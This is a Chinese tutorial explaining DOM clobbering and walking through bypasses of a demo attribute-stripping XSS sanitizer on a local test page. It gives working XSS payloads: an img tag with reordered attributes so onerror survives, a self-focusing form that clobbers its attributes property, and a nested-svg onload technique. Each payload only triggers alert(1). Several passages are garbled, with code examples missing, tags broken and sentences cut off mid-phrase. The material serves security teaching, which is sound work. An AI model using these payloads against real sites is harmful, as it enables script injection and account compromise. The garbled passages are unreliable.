假设有一段代码,有一个按钮以及一段 js 脚本,如下所示:
现在请你用最短的代码,实现出点击按钮时会跳出 alert(1)
这个功能。
可以这样写:
document.getElementById('btn')
.addEventListener('click', () => {
alert(1)
})
那如果要让代码最短,你的答案会是什么?
你知道 DOM 里面的东西,有可能影响到 window 吗?
就是你在 HTML 里面设定一个有 id 的元素之后,在 JS 中就可以直接操作:
<button id="btn">click mebutton>
<script>
console.log(window.btn) //
script>
由于 JS 的作用域规则,你就算直接用 btn
也可以,因为在当前的作用域找不到时就会往上找,一路找到 window
。
所以前面那道题的答案是:
btn.onclick = () => alert(1)
不需要 getElementById
,也不需要 querySelector
,只要直接用与 id
同名的变量去拿,就能得到。
而这个行为在 HTML 的说明文档中是有明确定义的,在 7.3.3 Named access on the Window object:
节选两个重点:
- the value of the name content attribute for all
embed
,form
,img
, andobject
elements that have a non-empty name content attribute- the value of the
id
content attribute for all HTML elements that have a non-empty id content attribute
也就是说除了 id
可以直接用 window
存取,embed
, form
, img
和 object
这四个标签用 name
也可以操作:
<embed name="a">embed>
<form name="b">form>
<img name="c" />
<object name="d">object>
但是知道这个有什么用呢?有,理解这个规则之后,可以得出一个结论:
我们是有机会通过 HTML 元素来影响 JS 的!
而把这个手法用在攻击上,就是标题的 DOM Clobbering。以前是因为这个攻击手段才第一次知道 clobbering 这个单词的,查了一下发现在计算机专业领域中有覆盖的意思,就是通过 DOM 把一些东西覆盖掉来达到攻击的手段。
if (window.test1.test2) {
eval(''+window.test1.test2)
}
如果我们想利用Dom Clobbering技巧来执行任意的js,需要解决两个问题:
1)利用html标签的属性id,很容易在window对象上创建任意的属性,但是我们能在新对象上创建新属性吗?
2)怎么控制DOM elements被强制转为string之后的值,大多数的dom节点被转为string后是[object HTMLInputElement]。
让我们从第一个问题开始。最常引用的解决方法是使用标签。标记的每个
都属于
后代,该属性
引用
name
属性可以取到。考虑以下示例:
为了解决第二个问题,我创建了一个简短的 JS 代码,它遍历 HTML 中所有可能的元素并检查它们的toString
方法是否继承自Object.prototype
或以另一种方式定义。如果它们不继承自Object.prototype
,那么可能[object SomeElement]
会返回其他东西。
Object.getOwnPropertyNames(window)
.filter(p => p.match(/Element$/))
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)
代码返回两个元素:HTMLAreaElement
()和
HTMLAnchorElement
()。在
元素的情况下,
toString
只返回一个href
属性值。考虑这个例子:
此时,似乎如果我们要解决原来的问题(即window.test1.test2
通过 DOM Clobbering攻击),我们需要类似于以下的代码:
问题是它根本不起作用;test1.test2
会undefined
。虽然元素确实成为 的属性
,但同样的情况不适合`。
不过,这个问题有一个有趣的解决方案,它适用于基于 WebKit 和 Blink 的浏览器。假设我们有两个相同的元素id
:
click!
click2!
那么我们在访问时会得到什么window.test1
?直觉希望获得具有该 id 的第一个元素。然而,在 Chromium 中,我们实际上得到了一个HTMLCollection
!
这里特别有趣,我们可以HTMLCollection
通过 index(0
和1
示例中)以及 访问其中的特定元素id
。这意味着window.test1.test1
实际上是指第一个元素。事实证明,设置name
属性也会在HTMLCollection
. 所以现在我们有以下代码:
click!
click2!
我们可以通过name访问第二个awindow.test1.test2
。
因此,回到eval(''+window.test1.test2)
通过 DOM Clobbering进行利用的原始练习,解决方案是
ok 至此,前面基础知识铺垫完毕,我们继续看这道题
这道题是一个为了防御xss攻击写的函数,但我们可以通过上述所学的DOM Clobbering进行绕过。
<script>
//http://127.0.0.1/domfilter/demo6.html#
const data = decodeURIComponent(location.hash.substr(1));
const root = document.createElement('div');
root.innerHTML = data;
//这里模拟了XSS过滤的过程,方法是移除所有属性
for (let el of root.querySelectorAll('*')) {
for (let attr of el.attributes) {
el.removeAttribute(attr.name);
}
}
document.body.appendChild(root);
</script>
代码分析:首先截取#号后面的值,然后创建一个div,然后将#号后面的值都赋值给div,然后使用querySelectorAll选取div下所有的子元素;然后获取子元素的属性,并将属性全部删除。输入格式为第一条注释。
输入xss代码进行测试
我们发现输入的src被删除了,但是也没有出现弹窗。根据我们所写的防御代码,理论上应该所有的元素都要删除。但是为什么这里没有全部删除呢?
这里就涉及到一个开发的知识了,以这个python代码为例
a = [6, 5, 4, 3, 2, 1, 0]
index = 0
for i in a:
print('a['+str(index)+'] = '+str(a[index])+':', a, end='')
print(max(a), end=' = ')
a.remove(max(a))
print(a, end=' --> ')
index = index + 1
print('a[0]='+str(a[0]))
运行结果为:
a[0] = 6: [6, 5, 4, 3, 2, 1, 0]-6 = [5, 4, 3, 2, 1, 0] --> a[0]=5
a[1] = 4: [5, 4, 3, 2, 1, 0]-5 = [4, 3, 2, 1, 0] --> a[0]=4
a[2] = 2: [4, 3, 2, 1, 0]-4 = [3, 2, 1, 0] --> a[0]=3
a[3] = 0: [3, 2, 1, 0]-3 = [2, 1, 0] --> a[0]=2
通过观察运行结果,我们发现实际的运行结果与理想的结果出现了差别,理想中的结果应该是将a列表中的所有数据都删除,但是实际的运行结果是并没有都删除,还剩下一部分列表[2, 1, 0]。
产生原因:
通过上面的步骤分析不难发现,因为索引每次循环都会在原有的基础上加1,并且因为删除了最大值的原因,索引中会自动填补删除掉的那个最大值所在索引的空缺,由最大值后面的那个值依次进行填补,造成索引一直在增加,但是索引的总数确实一直在减少。
通过在浏览器中的调试中也可以查看我们所得的结论,如图所示逐步往下走。
然后我们就接着往下走。然后可以看到el获取的值是img,也就说说它已经成功获得到了这个标签。
然后接着继续走;然后attr获取到了第一个元素:src,之后,它执行了下面的移除操作。
接下来按照预期应该是回到标签内继续匹配元素onerror然后进行删除,但是当继续下一步的时候,attr取到的值是空的,就直接跳出循环,直接结束。
根据我们之前所说的在进行循环的过程中,attr首先匹配到的是src元素,然后在循环过后直接删除,删除了之后,剩余的哪个onerror自动往前移动,onerror替代了src排的第一个的位置,它就变成了第一个,但是在刚刚循环的时候,已经把第一个给循环了,要去循环下一个的时候它没有了,所以循环结束了。
绕过方法
所以知道这个原理后,我们就可以将输入的元素打乱,因为他会删除固定位置的元素,所以我们让他删除后所剩下的是我们所需要的就可以了。
将src元素写到第2位,函数在删除第一位的时候它变成第一位就会保留了,然后将onerror保存到第四位,那样在删除第一位后,原来的第三位变成了第二位,第四位就变成了第三位,第二位运行完后被删除,最开使的第四位就变成了第2位,但是我们已经执行完第二位了,所以后面就没有了,就跳出了循环。
payload为:
<img aaa='111' src='222' bbb='333' onerror='alert(1)'>
成功弹窗
上述代码因为只使用了一个for循环导致出现了无法实现所有数据删除。所以我们将上述代码进行改进,使用两个for循环将循环和删除操作分开运行。就可以实现所有元素删除了,代码如下。
const data = decodeURIComponent(location.hash.substr(1));;
const root = document.createElement('div');
root.innerHTML = data;
// 这里模拟了XSS过滤的过程,方法是移除所有属性,sanitizer
for (let el of root.querySelectorAll('*')) {
let attrs = [];
for (let attr of el.attributes) {
attrs.push(attr.name);
}
for (let name of attrs) {
el.removeAttribute(name);
}
}
document.body.appendChild(root);
进行测试后,将我们输入的数据只剩一个img标签。那这种情况该怎么绕过呢。我提供两种绕过思路。
这种方式就可以使用到刚开始讲的那个DOM破坏的方式来进行。
el执行的是attr,如果有一个元素可以劫持这个,那么删除的就不是atr而是里面的一个子元素。
现测试一个例子:
<body>
<form id="x"action="">
<img name="attributes">
</form>
</body>
<script>
console.log(window.x.attributes)
</script>
根据上述内容,我们可以知道通过id我们可以打印出整个标签,也就是说,这里的x是上面的el;插入一个form之后,这个el就相当于是等于这个form的,而那个el.attributes相当于是哪个img。也就是让img进入循环,而在form中进行触发,这样就实现了进入循环,但是删除的是无用的标签。
所以可以使用刚才的方法测试:
但是它的结果显示是:el.attributes不是一个可迭代器,
可迭代对象有一个特征就是for循环,现在进入的只有一个元素,他是循环不了的,所以我们需要将他组成数组或者集合,
而刚刚我们刚刚正好说了,如过id的值是相同的话会组成一个集合,而这个就刚好满足了刚刚咱们所需要的。所以它就可以写成下面的形式:
<form id="x"action="">
<img name="attributes">
<img name="attributes">
</form>
这样的话,img标签就进入了循环删除,这样的话我们form里面还缺少一个触发的属性,而onfocus属性正好可以自动触发,但是它不是form属性,而是input下面。我们也可以将img换成input,这样也可以满足name相同的时候会变成一个集合。
这个解决之后还需要自动聚焦,这个时候就需要一个自动聚焦的属性。
tabindex:全局属性,以及它是否(在何处)参与顺序键盘导航。
加上tabindex属性的话就可以把焦点聚集在input上,否则onfoucus是没有办法实现的。
所以这样的话:我们就可以进行尝试:
<form tabindex=1 onfocus="alert(1)" autofocus="true"><input name=attributes><input name=attributes></form>
这种是成功跳出弹窗的,但是因为这个是自动将你的鼠标自动对焦,所以会一直进行弹窗,所以我们可以在它执行成功一次之后将他移除。
payload为:
<form tabindex=1 onfocus="alert(1);this.removeAttribute('onfocus');" autofocus="true"><input name=attributes><input name=attributes></form>
成功弹窗
这里使用的是两个svg标签,也就是使用
使用img标签失败的原因是:它是先循环过滤了才可以进行弹窗,但是经过过滤后子元素就被过滤掉了。也就是说js阻塞了DOM树的构建;也可以说在script标签内的JS执行完毕以后,DOM树才会构建完成。
但是我们对svg进行断点测试发现
第一步:我们会发现他会先直接执行alert(1),再执行我们的过滤函数操作
这样的话,它没有进入到循环删除就已经可以进行弹窗。接着往下走的话的话即便被删它也已经执行过了,所以也没有必要了。
也就是说,这种嵌套的svg成功的原因是因为当页面为root.innerHtml赋值的时候浏览器进入DOM树构建过程;在这个过程中会触发非最外层svg标签的load事件,最终成功执行代码。